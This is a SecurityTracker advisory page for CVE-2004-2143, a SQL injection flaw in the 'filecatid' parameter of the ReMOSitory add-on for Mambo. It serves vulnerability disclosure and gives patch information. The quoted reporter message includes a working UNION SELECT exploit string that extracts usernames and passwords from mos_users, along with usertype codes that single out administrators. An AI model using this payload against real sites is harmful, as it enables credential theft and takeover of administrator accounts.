Home    |    View Topics    |    Search    |    Contact Us    |   



Category:   Application (Forum/Board/Portal)  >   ReMOSitory Vendors:   Smith, Matt
ReMOSitory Server Input Validation Hole in 'filecatid' Lets Remote Users Inject SQL Commands
SecurityTracker Alert ID:  1011356
SecurityTracker URL:
CVE Reference:   CVE-2004-2143   (Links to External Site)
Updated:  Jul 2 2005
Original Entry Date:  Sep 18 2004
Impact:   Execution of arbitrary code via network, User access via network
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  

Description:   An input validation vulnerability was reported in the ReMOSitory add-on for Mambo Open Server. A remote user can inject SQL commands.

The software does not properly validate user-supplied input in the 'filecatid' parameter. A remote user can submit a specially crafted request to inject SQL commands.

A demonstration exploit URL is provided:


The flaw does not reside in the Mambo Open Server core itself, but rather, in the 3rd party ReMOSitory software.

khoai reported this vulnerability.

Impact:   A remote user can inject SQL commands to be executed by the underlying database.
Solution:   The vendor indicates that ReMOSitory is no longer supported.

The vendor reports that Arthur Konze from has provided a patch, available at:

Gene Rodrigues (mmx) reported that an alternate to ReMOSitory is 'Docman', available at:

Vendor URL: (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.

 Source Message Contents

Subject:  Mambo Portal lasted version 4.5.1 (1.09) and lower vesion : SQL

Message from vendor : Mambo is one of the most powerful Open Source Content Management Systems on the planet. It is used all over
 the world for everything from simple websites to complex corporate applications. Mambo is easy to install, simple to manage, and

Bug name : SQL injection
Version : lastest Version 4.5.1(1.0.9) and lower.

Exploit :[SQL]/*

You can exploit from the table "mos_users" with the query below[id]&func=selectfolder&filecatid=[id]%20and%201=0%20union%20all%20select%201,2,3,4,username,6,password,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20mos_users%20where%20usert

with the values of usertype : 
 0 = superadministrator
 1 = administrator
 2 = editor
 3 = user
 5 = publisher
 6 = manager

Vendor feedback :
Not yet

Vendor patch :
Not yet



Go to the Top of This SecurityTracker Archive Page

Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, LLC